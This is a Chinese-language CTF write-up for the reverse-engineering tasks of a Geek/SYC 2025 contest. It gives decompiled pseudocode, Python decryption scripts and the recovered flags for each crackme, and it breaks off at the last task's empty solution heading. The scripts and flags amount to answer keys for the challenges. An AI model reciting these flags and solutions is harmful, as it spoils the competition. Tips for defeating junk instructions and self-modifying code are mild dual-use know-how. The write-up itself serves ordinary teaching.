# Source timestamp: 2025-10-04 12:43:26 UTC (1759581806)

cipher = [48, 55, 57, 50, 53, 55, 53, 50, 52, 50, 48, 55, 101, 52, 53, 50, 52, 50, 52, 50, 48, 55, 53, 55, 55, 55, 50, 54, 53, 55, 54, 55, 55, 55, 53, 54, 98, 55, 97, 54, 50, 53, 56, 52, 50, 52, 99, 54, 50, 50, 52, 50, 50, 54]

def str_to_hex_bytes(s: str) -> bytes:
    return s.encode('utf-8')

def enc(data: bytes, key: int) -> bytes:
    return bytes([b ^ key for b in data])

def en3(b: int) -> int:
    return b << 4 & 240 | b >> 4 & 15

def en33(data: bytes, n: int) -> bytes:
    """整体 bitstream 循环左移 n 位"""
    bit_len = len(data) * 8
    n = n % bit_len
    val = int.from_bytes(data, 'big')
    val = (val << n | val >> bit_len - n) & (1 << bit_len) - 1
    return val.to_bytes(len(data), 'big')
if __name__ == '__main__':
    flag = ''
    data = str_to_hex_bytes(flag)
    data = enc(data, 17)
    data = bytes([en3(b) for b in data])
    data = data[::-1]
    data = en33(data, 32)
    if data.hex() == cipher:
        print('Correct! ')
    else:
        print('Wrong')

加密很简单,总之就是将字符串转换为字节、异或操作、交换每个字节的高低4位、反转字节序列、整体循环左移32位,直接反过来跑一遍就行

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
cipher = [48, 55, 57, 50, 53, 55, 53, 50, 52, 50, 48, 55, 101, 52, 53, 50, 52, 50, 52, 50, 48, 55, 53, 55, 55, 55, 50, 54, 53, 55, 54, 55, 55, 55, 53, 54, 98, 55, 97, 54, 50, 53, 56, 52, 50, 52, 99, 54, 50, 50, 52, 50, 50, 54]

def en3(b: int) -> int:
    return b << 4 & 240 | b >> 4 & 15

def en33(data: bytes, n: int) -> bytes:
    """整体 bitstream 循环左移 n 位"""
    bit_len = len(data) * 8
    n = n % bit_len
    val = int.from_bytes(data, 'big')
    val = (val << n | val >> bit_len - n) & (1 << bit_len) - 1
    return val.to_bytes(len(data), 'big')

# 将 cipher 转换为十六进制字符串
target_hex = ''.join(chr(c) for c in cipher)
encrypted = bytes.fromhex(target_hex)

total_bits = len(encrypted) * 8
data1 = en33(encrypted, total_bits - 32)

data2 = data1[::-1]

data3 = bytes([en3(b) for b in data2])

data4 = bytes([b ^ 17 for b in data3])

flag = data4.decode('utf-8')
print(flag)

flag

1
SYC{jtfgdsfda554_a54d8as53}

only_flower

解题流程

直接打开ida看不了伪代码,需要先解决花指令的混淆 将循环的jmp的指令nop掉后可以得到

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int main()
{
  char Input[256]; // [esp+14h] [ebp-10Ch] BYREF
  uint8_t *v2; // [esp+114h] [ebp-Ch]
  size_t Len; // [esp+118h] [ebp-8h]
  size_t Input_len; // [esp+11Ch] [ebp-4h]

  __main();
  printf("Welcome to Flowerdance. Input your flag: ");
  if ( !fgets(Input, 256, (FILE *)__iob[0]._ptr) )
    return 0;
  Input_len = strlen(Input);
  if ( Input_len && Input[Input_len - 1] == 10 )
    Input[--Input_len] = 0;
  if ( checkcheck(Input) )
  {
    Len = strlen(Input);
    if ( Len == 28 )
    {
      v2 = (uint8_t *)malloc(0x1Cu);
      if ( v2 )
      {
        encrypt((const uint8_t *)Input, v2, Len);
        if ( !memcmp(v2, CIPHER, Len) )
        {
          puts("Correct! Flowerdance!");
        }
        else
        {
          puts("Incorrect. Keep dancing.");
          hint();
        }
        free(v2);
        return 0;
      }
      else
      {
        return 0;
      }
    }
    else
    {
      printf("Wrong length (expected %lu bytes including braces).\n", 28);
      hint();
      return 0;
    }
  }
  else
  {
    puts("Bad format..");
    hint();
    return 0;
  }
}
1
2
3
4
5
6
7
8
9
void __cdecl encrypt(const uint8_t *in, uint8_t *out, size_t len)
{
  size_t klen; // [esp+18h] [ebp-10h]
  size_t i; // [esp+1Ch] [ebp-Ch]

  klen = strlen(KEY);
  for ( i = 0; i < len; ++i )
    out[i] = i + rol8(KEY[i % klen] ^ in[i], KEY[i % klen] & 7);
}
1
2
3
4
uint8_t __cdecl rol8(uint8_t v, unsigned int n)
{
  return (v << (n & 7)) | ((int)v >> (8 - (n & 7)));
}

上面的checkcheck函数不说了,只是检查flag格式是不是SYC{} 从CIPHER得到密文[0x0A,0x84,0xC2,0x84,0x51,0x48,0x5F,0xF2,0x9E,0x8D,0xD0,0x84,0x75,0x67,0x73,0x8F,0xCA,0x57,0xD7,0xE6,0x14,0x6E,0x77,0xE2,0x29,0xFE,0xDF,0xCC] 从KEY得到密钥GEEK2025 在encrypt里对每个字符与key分别异或,然后再rol8里左移

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
def ror8(v, n):
    n = n & 7
    return ((v >> n) | (v << (8 - n))) & 0xFF

def decrypt(cipher, key):
    klen = len(key)
    plain = []
    for i in range(len(cipher)):
        key_byte = key[i % klen]
        shifted = (cipher[i] - i) & 0xFF
        rotated = ror8(shifted, key_byte & 7)
        plain_byte = rotated ^ key_byte
        plain.append(plain_byte)
    return bytes(plain)

KEY = b"GEEK2025" 
CIPHER = [0x0A,0x84,0xC2,0x84,0x51,0x48,0x5F,0xF2,0x9E,0x8D,0xD0,0x84,0x75,0x67,0x73,0x8F,0xCA,0x57,0xD7,0xE6,0x14,0x6E,0x77,0xE2,0x29,0xFE,0xDF,0xCC]
cipher_bytes = bytes(CIPHER)
flag = decrypt(cipher_bytes, KEY)
    
print(f"Output: {flag}")

flag

1
SYC{asdjjasdhjk12wk12ijkejk}

ezRu3t

解题流程

这题代码没法读,纯靠猜,在String的subviews里发现了

1
!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstu

1
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

Base85和Base64的编码表,合理猜测这题是这两种编码加密的flag 同时发现一串疑似密文的编码

1
<AA;XAM?,_@;T[r@7E779h8;s>'`pt=>3c6ASuHFASOtP<Gkf_A4&gPAl1]S

经过Base85和Base64解密后的确得到了flag

exp

直接用Cyberchef一键解密

flag

1
SYC{Ohjhhh_y0u_g3t_Ezzzzz3_Ru3t!@}

ezSMC

打开ida直接查看代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int __fastcall main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // rax
  int v4; // eax
  int v6; // eax
  CTX ctx; // [rsp+20h] [rbp-60h] BYREF
  uint8_t key[1]; // [rsp+127h] [rbp+A7h] BYREF
  int binlen; // [rsp+128h] [rbp+A8h] BYREF
  int hexlen; // [rsp+12Ch] [rbp+ACh] BYREF
  char input[1024]; // [rsp+130h] [rbp+B0h] BYREF
  char *en3; // [rsp+530h] [rbp+4B0h]
  char *en2; // [rsp+538h] [rbp+4B8h]
  char *en1; // [rsp+540h] [rbp+4C0h]
  uint8_t *bin; // [rsp+548h] [rbp+4C8h]
  uint8_t *hex_ascii; // [rsp+550h] [rbp+4D0h]
  const char *cipher; // [rsp+558h] [rbp+4D8h]

  _main(argc, argv, envp);
  cipher = "tHMoSoMX71sm62ARQ8aHF6i88nhkH9Ac2J7CrkQsQgXpiy6efoC8YVkzZu1tMyFxCLbbqvgXZHxtwK5TACVhPi1EE5mK6JG56wPNR4d2GmkELGfJHgtcAEH7";
  printf("Plz input your flag miao: ");
  v3 = __acrt_iob_func(0);
  fgets(input, 1024, v3);
  input[strcspn(input, "\r\n")] = 0;
  hex_ascii = ascii_to_hexbytes(input, &hexlen);
  bin = hexstr_to_bytes((const char *)hex_ascii, &binlen);
  key[0] = 17;
  init(&ctx, key, 1);
  encode(&ctx, bin, binlen);
  en1 = bytes_to_hexstr(bin, binlen);
  miao_encrypt();
  v4 = strlen(en1);
  en2 = Base64((const uint8_t *)en1, v4);
  if ( en2 )
  {
    v6 = strlen(en2);
    en3 = Base58((const uint8_t *)en2, v6);
    if ( !strcmp(en3, cipher) )
      puts("Correct!");
    else
      puts("Wrong!");
    free(hex_ascii);
    free(bin);
    free(en1);
    free(en2);
    free(en3);
    return 0;
  }
  else
  {
    puts("encodee returned NULL");
    return 0;
  }
}

虽然直接得到了密文,但是加密过程并不能看到那几个加密函数的内容,可以在miao_encrypt函数的地方断点,动态调试,运行到该处时得到解密后的加密函数的内容,选中区域undefine后重新定义函数就可以得到可以阅读的伪代码

1
2
3
4
5
6
7
void __cdecl encode(CTX *ctx, uint8_t *data, int len)
{
  int n; // [rsp+2Ch] [rbp-4h]

  for ( n = 0; n < len; ++n )
    data[n] ^= getbyte(ctx);
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
uint8_t __cdecl getbyte(CTX *ctx)
{
  uint8_t t; // [rsp+Fh] [rbp-1h]

  ctx->j += ctx->S[++ctx->i];
  t = ctx->S[ctx->i];
  ctx->S[ctx->i] = ctx->S[ctx->j];
  ctx->S[ctx->j] = t;
  return ctx->S[(unsigned __int8)(ctx->S[ctx->i] + ctx->S[ctx->j])];
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
char *__cdecl Base64(const uint8_t *buf, int len)
{
  int v3; // eax
  char v4; // al
  int v5; // edx
  char v6; // al
  int v7; // edx
  char *v8; // [rsp+28h] [rbp-18h]
  unsigned int v9; // [rsp+34h] [rbp-Ch]
  int i; // [rsp+38h] [rbp-8h]
  int v11; // [rsp+3Ch] [rbp-4h]
  int v12; // [rsp+3Ch] [rbp-4h]
  int v13; // [rsp+3Ch] [rbp-4h]

  v8 = (char *)malloc(4 * ((len + 2) / 3) + 1);
  if ( !v8 )
    return 0LL;
  v11 = 0;
  for ( i = 0; i < len; i += 3 )
  {
    v9 = buf[i] << 16;
    if ( len > i + 1 )
      v9 |= buf[i + 1] << 8;
    if ( len > i + 2 )
      v9 |= buf[i + 2];
    v8[v11] = encodee(unsigned char const*,int)::base64_table[(v9 >> 18) & 0x3F];
    v3 = v11 + 1;
    v12 = v11 + 2;
    v8[v3] = encodee(unsigned char const*,int)::base64_table[(v9 >> 12) & 0x3F];
    if ( len <= i + 1 )
      v4 = 61;
    else
      v4 = encodee(unsigned char const*,int)::base64_table[(v9 >> 6) & 0x3F];
    v5 = v12;
    v13 = v12 + 1;
    v8[v5] = v4;
    if ( len <= i + 2 )
      v6 = 61;
    else
      v6 = encodee(unsigned char const*,int)::base64_table[v9 & 0x3F];
    v7 = v13;
    v11 = v13 + 1;
    v8[v7] = v6;
  }
  v8[v11] = 0;
  return v8;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
char *__cdecl Base58(const uint8_t *data, int len)
{
  int v2; // eax
  int v3; // eax
  char *out; // [rsp+28h] [rbp-38h]
  int *digits; // [rsp+38h] [rbp-28h]
  int size; // [rsp+40h] [rbp-20h]
  int k; // [rsp+44h] [rbp-1Ch]
  int p; // [rsp+48h] [rbp-18h]
  int i; // [rsp+4Ch] [rbp-14h]
  int j; // [rsp+50h] [rbp-10h]
  int carry; // [rsp+54h] [rbp-Ch]
  int carrya; // [rsp+54h] [rbp-Ch]
  int i_0; // [rsp+58h] [rbp-8h]
  int zeros; // [rsp+5Ch] [rbp-4h]

  size = 138 * len / 100 + 2;
  digits = (int *)calloc(size, 4uLL);
  for ( zeros = 0; zeros < len && !data[zeros]; ++zeros )
    ;
  for ( i_0 = zeros; i_0 < len; ++i_0 )
  {
    carry = data[i_0];
    for ( j = size - 1; j >= 0; --j )
    {
      carrya = (digits[j] << 8) + carry;
      digits[j] = carrya % 58;
      carry = carrya / 58;
    }
  }
  for ( i = 0; i < size && !digits[i]; ++i )
    ;
  out = (char *)malloc(zeros + size - i + 1);
  p = 0;
  for ( k = 0; k < zeros; ++k )
  {
    v2 = p++;
    out[v2] = 65;
  }
  while ( i < size )
  {
    v3 = p++;
    out[v3] = base58_table[digits[i++]];
  }
  out[p] = 0;
  free(digits);
  return out;
}

总结就是RC4+Base58+Base64

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import base64

BASE64_TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
BASE58_TABLE = "ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz123456789"

class RC4:
    def __init__(self, key):
        self.S = list(range(256))
        self.i = 0
        self.j = 0
        j = 0
        for i in range(256):
            j = (j + self.S[i] + key[i % len(key)]) & 0xFF
            self.S[i], self.S[j] = self.S[j], self.S[i]
    
    def get_byte(self):
        self.i = (self.i + 1) & 0xFF
        self.j = (self.j + self.S[self.i]) & 0xFF
        self.S[self.i], self.S[self.j] = self.S[self.j], self.S[self.i]
        return self.S[(self.S[self.i] + self.S[self.j]) & 0xFF]
    
    def crypt(self, data):
        result = bytearray()
        for byte in data:
            result.append(byte ^ self.get_byte())
        return bytes(result)

def base58_decode(data):
    leading_zeros = 0
    for char in data:
        if char == ord('A'):
            leading_zeros += 1
        else:
            break
    result = 0
    for char in data[leading_zeros:]:
        result = result * 58 + BASE58_TABLE.index(chr(char))
    decoded = bytearray()
    while result > 0:
        decoded.append(result & 0xFF)
        result //= 256
    decoded.extend([0] * leading_zeros)
    return bytes(reversed(decoded))

def base64_decode_custom(data):
    standard_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    trans = str.maketrans(BASE64_TABLE, standard_table)
    standard_b64 = data.translate(trans)
    return base64.b64decode(standard_b64)
def decrypt_flag(cipher_text):
    base58_decoded = base58_decode(cipher_text.encode())
    base64_decoded = base64_decode_custom(base58_decoded.decode())
    hex_bytes = bytes.fromhex(base64_decoded.decode())
    rc4 = RC4([17])
    decrypted = rc4.crypt(hex_bytes)
    hex_str = decrypted.hex()
    flag = bytes.fromhex(hex_str).decode('ascii')
    return flag

if __name__ == "__main__":
    cipher = "tHMoSoMX71sm62ARQ8aHF6i88nhkH9Ac2J7CrkQsQgXpiy6efoC8YVkzZu1tMyFxCLbbqvgXZHxtwK5TACVhPi1EE5mK6JG56wPNR4d2GmkELGfJHgtcAEH7"
    
    try:
        flag = decrypt_flag(cipher)
        print(f"\n最终flag: {flag}")
    except Exception as e:
        print(f"错误: {e}")
        import traceback
        traceback.print_exc()

flag

1
SYC{OHhhhhhhh_y0u_Kn0m_SMCCCC@!}

QYQSの奇妙冒险

解题流程

先看ida伪代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
__int64 __fastcall main()
{
  char *v0; // rdi
  __int64 j; // rcx
  size_t v3; // rax
  size_t v4; // rax
  char v5; // [rsp+20h] [rbp+0h] BYREF
  char Input[76]; // [rsp+28h] [rbp+8h] BYREF
  char key[44]; // [rsp+74h] [rbp+54h] BYREF
  int QYQS[29]; // [rsp+A0h] [rbp+80h]
  int i; // [rsp+114h] [rbp+F4h]
  int k; // [rsp+134h] [rbp+114h]
  size_t v11; // [rsp+208h] [rbp+1E8h]

  v0 = &v5;
  for ( j = 80LL; j; --j )
  {
    *(_DWORD *)v0 = -858993460;
    v0 += 4;
  }
  j___CheckForDebuggerJustMyCode(&_F26D15BD_FileName_cpp);
  strcpy(key, "QYQS");
  QYQS[0] = 2;
  QYQS[1] = 1;
  QYQS[2] = 16;
  QYQS[3] = 43;
  QYQS[4] = 28;
  QYQS[5] = 3;
  QYQS[6] = 23;
  QYQS[7] = 57;
  QYQS[8] = 6;
  QYQS[9] = 1;
  QYQS[10] = 34;
  QYQS[11] = 41;
  QYQS[12] = 14;
  QYQS[13] = 11;
  QYQS[14] = 45;
  QYQS[15] = 109;
  QYQS[16] = 6;
  QYQS[17] = 32;
  QYQS[18] = 23;
  QYQS[19] = 127;
  QYQS[20] = 56;
  Menu();
  j_scanf_s("%s", Input);
  if ( Strlen(Input) == 21 )
  {
    for ( i = 0; ; ++i )
    {
      v11 = i;
      v3 = Strlen(Input);
      if ( v11 >= v3 )
        break;
      Input[i] ^= i;
      v11 = i;
      Input[i] ^= key[i % 4];
    }
    for ( k = 0; ; ++k )
    {
      v11 = k;
      v4 = Strlen(Input);
      if ( v11 >= v4 )
        break;
      if ( Input[k] != QYQS[k] )
        goto LABEL_5;
    }
    typeWriterEffect(&byte_14001C468);
    j_printf("\n");
    j_printf(asc_14001C478);
    _getch();
    return 0LL;
  }
  else
  {
LABEL_5:
    typeWriterEffect(&byte_14001C448);
    return 0LL;
  }
}

输入长度为21,将输入内容的每一位与自己的位数异或后分别与key异或,key得到是 QYQS

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
QYQS = [2, 1, 16, 43, 28, 3, 23, 57, 6, 1, 34, 41, 14, 11, 45, 109, 6, 32, 23, 127, 56]

key = "QYQS"

flag = ""
for i in range(21):
    char = QYQS[i] ^ ord(key[i % 4])
    char = char ^ i
    flag += chr(char)

print("Flag:", flag)

flag

1
SYC{I_@m_QyqS_r1GhT?}

Gensh1n

解题思路

首先不要打开题目 先看ida,以防原神偷家

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
unsigned __int64 cleanup()
{
  int v1; // [rsp+8h] [rbp-238h]
  int i; // [rsp+Ch] [rbp-234h]
  int v3; // [rsp+10h] [rbp-230h]
  int j; // [rsp+14h] [rbp-22Ch]
  int v5; // [rsp+20h] [rbp-220h]
  int v6; // [rsp+24h] [rbp-21Ch]
  char v7[8]; // [rsp+28h] [rbp-218h] BYREF
  char s[256]; // [rsp+30h] [rbp-210h] BYREF
  char dest[264]; // [rsp+130h] [rbp-110h] BYREF
  unsigned __int64 v10; // [rsp+238h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  fflush(_bss_start);
  if ( !fgets(s, 256, stdin) )
    exit(1);
  v1 = strlen(s);
  if ( v1 > 0 && s[v1 - 1] == 10 )
    s[--v1] = 0;
  if ( !(unsigned int)validate_input_length((unsigned int)v1) )
    exit(1);
  for ( i = 0; i <= 7; ++i )
    v7[i] = global_nodes[16 * i];
  if ( !(unsigned int)validate_key(v7, 8LL) )
    exit(1);
  strncpy(dest, s, v1);
  dest[v1] = 0;
  compute_checksum(dest, (unsigned int)v1);
  stack_push(dest);
  stack_push(v1);
  stack_push(v7);
  stack_push(8LL);
  stack_push(sub_44656);
  stack_push(0LL);
  stack_push(4LL);
  reverse_call();
  if ( v1 != 28 )
    exit(1);
  v3 = 1;
  for ( j = 0; j < 28; ++j )
  {
    if ( dest[j] != result[j] )
    {
      v3 = 0;
      break;
    }
  }
  v5 = calculate_crc32(dest, 28LL);
  v6 = calculate_crc32(result, 28LL);
  if ( !v3 || v5 != v6 )
  {
    secure_memset((__int64)dest, 0, 0x100uLL);
    secure_memset((__int64)v7, 0, 8uLL);
    exit(1);
  }
  puts("Great!");
  secure_memset((__int64)dest, 0, 0x100uLL);
  secure_memset((__int64)v7, 0, 8uLL);
  return v10 - __readfsqword(0x28u);
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
unsigned __int64 __fastcall sub_44656(__int64 a1, int a2, __int64 a3, int a4)
{
  int i; // [rsp+20h] [rbp-220h]
  int j; // [rsp+20h] [rbp-220h]
  int v7; // [rsp+20h] [rbp-220h]
  int v8; // [rsp+24h] [rbp-21Ch]
  int v9; // [rsp+24h] [rbp-21Ch]
  int k; // [rsp+28h] [rbp-218h]
  char v11; // [rsp+2Ch] [rbp-214h]
  char v12; // [rsp+2Ch] [rbp-214h]
  _BYTE v13[520]; // [rsp+30h] [rbp-210h]
  unsigned __int64 v14; // [rsp+238h] [rbp-8h]

  v14 = __readfsqword(0x28u);
  v8 = 0;
  for ( i = 0; i <= 255; ++i )
  {
    v13[i] = i;
    v13[i + 256] = *(_BYTE *)(i % a4 + a3);
  }
  for ( j = 0; j <= 255; ++j )
  {
    v8 = ((unsigned __int8)v13[j + 256] + v8 + (unsigned __int8)v13[j]) % 256;
    v11 = v13[j];
    v13[j] = v13[v8];
    v13[v8] = v11;
  }
  v9 = 0;
  v7 = 0;
  for ( k = 0; k < a2; ++k )
  {
    v7 = (v7 + 1) % 256;
    v9 = (v9 + (unsigned __int8)v13[v7]) % 256;
    v12 = v13[v7];
    v13[v7] = v13[v9];
    v13[v9] = v12;
    *(_BYTE *)(k + a1) ^= v13[(unsigned __int8)(v13[v7] + v13[v9])];
  }
  return v14 - __readfsqword(0x28u);
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __fastcall init_node(__int64 a1)
{
  __int64 v1; // rax
  int i; // [rsp+1Ch] [rbp-4h]

  if ( a1 )
  {
    for ( i = 0; i <= 7; ++i )
    {
      *(_BYTE *)(16LL * i + a1) = arr[i];
      v1 = 16LL * i + a1;
      if ( i > 6 )
        *(_QWORD *)(v1 + 8) = 0LL;
      else
        *(_QWORD *)(v1 + 8) = 16 * (i + 1LL) + a1;
    }
  }
  else
  {
    LODWORD(v1) = puts("error");
  }
  return v1;
}

是个RC4,从result处可以读到密文

1
0x52, 0x59, 0xF3, 0x8A, 0x00, 0x0F, 0xE6, 0x56, 0x36, 0xE5, 0xF0, 0x33, 0x40, 0x6E, 0x56, 0x81, 0x5A, 0xE5, 0x6F, 0x87, 0x6F, 0x9F, 0x21, 0xC9, 0xA6, 0xBB, 0x16, 0x51

key在arr,是

1
geek2025

直接解rc4

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def rc4_decrypt(ciphertext, key):
    # RC4
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + ord(key[i % len(key)])) % 256
        S[i], S[j] = S[j], S[i]
    i = j = 0
    plaintext = []
    
    for byte in ciphertext:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        plaintext.append(byte ^ k)
    
    return bytes(plaintext)
result = [
    0x52, 0x59, 0xF3, 0x8A, 0x00, 0x0F, 0xE6, 0x56,
    0x36, 0xE5, 0xF0, 0x33, 0x40, 0x6E, 0x56, 0x81,
    0x5A, 0xE5, 0x6F, 0x87, 0x6F, 0x9F, 0x21, 0xC9,
    0xA6, 0xBB, 0x16, 0x51
]
key = "geek2025"
plaintext = rc4_decrypt(result, key)

print("flag:", plaintext)

flag

1
SYC{50_y0u_pl@y_Gensh1n_too}

QYQSの奇妙冒险2

解题流程

这里直接打开看和之前那个奇妙冒险1差不多,算出来的结果也差不多,但事实并非如此 查看汇编代码 alt text 这里有段ucomiss,nop掉之后重新定义函数得到真正的伪代码 真正的伪代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
__int64 Main()
{
  char *v0; // rdi
  __int64 i; // rcx
  _BYTE v3[32]; // [rsp+0h] [rbp-20h] BYREF
  char v4; // [rsp+20h] [rbp+0h] BYREF
  char Input[76]; // [rsp+28h] [rbp+8h] BYREF
  char Key[44]; // [rsp+74h] [rbp+54h] BYREF
  _DWORD v7[29]; // [rsp+A0h] [rbp+80h]
  _DWORD v8[8]; // [rsp+114h] [rbp+F4h] BYREF
  _DWORD Src[8]; // [rsp+134h] [rbp+114h] BYREF
  int v10; // [rsp+194h] [rbp+174h]
  int j; // [rsp+1B4h] [rbp+194h]
  int k; // [rsp+1D4h] [rbp+1B4h]
  size_t Input_len; // [rsp+2B8h] [rbp+298h]
  __int64 v14; // [rsp+2C8h] [rbp+2A8h]

  v0 = &v4;
  for ( i = 128LL; i; --i )
  {
    *(_DWORD *)v0 = -858993460;
    v0 += 4;
  }
  sub_7FF7AECD13D9(byte_7FF7AECE50A6);
  strcpy(Key, "QYQS");
  v7[0] = 2;
  v7[1] = 1;
  v7[2] = 16;
  v7[3] = 43;
  v7[4] = 28;
  v7[5] = 3;
  v7[6] = 23;
  v7[7] = 57;
  v7[8] = 6;
  v7[9] = 1;
  v7[10] = 34;
  v7[11] = 41;
  v7[12] = 14;
  v7[13] = 11;
  v7[14] = 45;
  v7[15] = 109;
  v7[16] = 6;
  v7[17] = 32;
  v7[18] = 23;
  v7[19] = 127;
  v7[20] = 56;
  Src[0] = 2143289344;
  j_memcpy(v8, Src, 4uLL);
  sub_7FF7AECD1320();
  sub_7FF7AECD1235("%s", Input);
  Input_len = j_strlen(Input);
  if ( Input_len >= 0x32 )
    sub_7FF7AECD12EE();
  Input[Input_len] = 0;
  if ( j_strlen(Input) == 21 )
  {
    v10 = 114514;
    for ( j = 0; ; ++j )
    {
      v14 = j;
      if ( j >= j_strlen(Input) )
        break;
      v10 += v7[j];
      v10 <<= Key[j % 4];
      Input[j] ^= v10;
    }
    for ( k = 0; ; ++k )
    {
      v14 = k;
      if ( k >= j_strlen(Input) )
        break;
      if ( Input[k] != dword_7FF7AECDF000[k] )
        goto LABEL_7;
    }
    sub_7FF7AECD1401((__int64)&unk_7FF7AECDC508);
    sub_7FF7AECD11C7("\n");
    sub_7FF7AECD11C7(asc_7FF7AECDC518);
    getch();
  }
  else
  {
LABEL_7:
    sub_7FF7AECD1401((__int64)&unk_7FF7AECDC4E8);
  }
  sub_7FF7AECD136B((__int64)v3, (__int64)&unk_7FF7AECDC370);
  return 0LL;
}

是给v10加上输入的每一位并左移,然后将输入的字符与v10异或,最后再与v7比较 直接逆了

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def decrypt():
    encrypted = [0x53, 0x59, 0x43, 0x7b, 0x4d, 0x40, 0x79, 0x5f, 0x62, 0x45, 
                 0x5f, 0x79, 0x30, 0x75, 0x5f, 0x46, 0x31, 0x6e, 0x64, 0x3f, 0x7d]
    key = "QYQS"
    key_ascii = [ord(c) for c in key]
    
    v7 = [2, 1, 16, 43, 28, 3, 23, 57, 6, 1, 34, 41, 14, 11, 45, 109, 6, 32, 23, 127, 56]
    v10 = 114514
    
    v10_values = []
    for j in range(21):
        v10 += v7[j]
        v10 <<= key_ascii[j % 4]
        v10_values.append(v10)
    
    decrypted = []
    for j in range(21):
        decrypted_char = encrypted[j] ^ (v10_values[j] & 0xFF)
        decrypted.append(chr(decrypted_char))
    
    return ''.join(decrypted)

flag = decrypt()
print(flag)

flag

1
SYC{M@y_bE_y0u_F1nd?}

ez_vm

解题流程

看不明白,靠猜

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 __fastcall sub_9e8f7a(__int64 a1)
{
  size_t n; // [rsp+18h] [rbp-78h]
  char s[104]; // [rsp+20h] [rbp-70h] BYREF
  unsigned __int64 v4; // [rsp+88h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Please enter the input string: ");
  fgets(s, 100, stdin);
  n = strlen(s);
  if ( s[n - 1] == 10 )
    s[n - 1] = 0;
  n = strlen(s);
  memcpy((void *)(*(_QWORD *)(a1 + 96) + 768LL), (const void *)(*(_QWORD *)(a1 + 96) + 256LL), 0x1DuLL);
  memcpy((void *)(*(_QWORD *)(a1 + 96) + 512LL), s, n);
  dword_50AC = n;
  dword_50CC = 768;
  dword_5134 = 768;
  vm_load_program(a1, &xor_compare_program, 37LL);
  vm_run(a1);
  if ( *(_QWORD *)(a1 + 32) )
    puts("Success: Input matches processed string!");
  else
    puts("Failure: Input does not match.");
  return v4 - __readfsqword(0x28u);
}

在这里发现了点线索,大概是个异或,直接下断点动调看看密文 alt text

1
0x09, 0x03, 0x19, 0x21, 0x0D, 0x69, 0x6B, 0x39, 0x6A, 0x37, 0x69, 0x05, 0x2E, 0x6A, 0x05, 0x28, 0x69, 0x1A, 0x6B, 0x05, 0x28, 0x69, 0x2C, 0x3F, 0x28, 0x29, 0x3F, 0x7B, 0x27, 0x03

众所周知flag的格式是SYC{} 直接拿已知的几位和密文异或,发现结果都是90,合理猜测是密文直接xor90就能得到结果

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
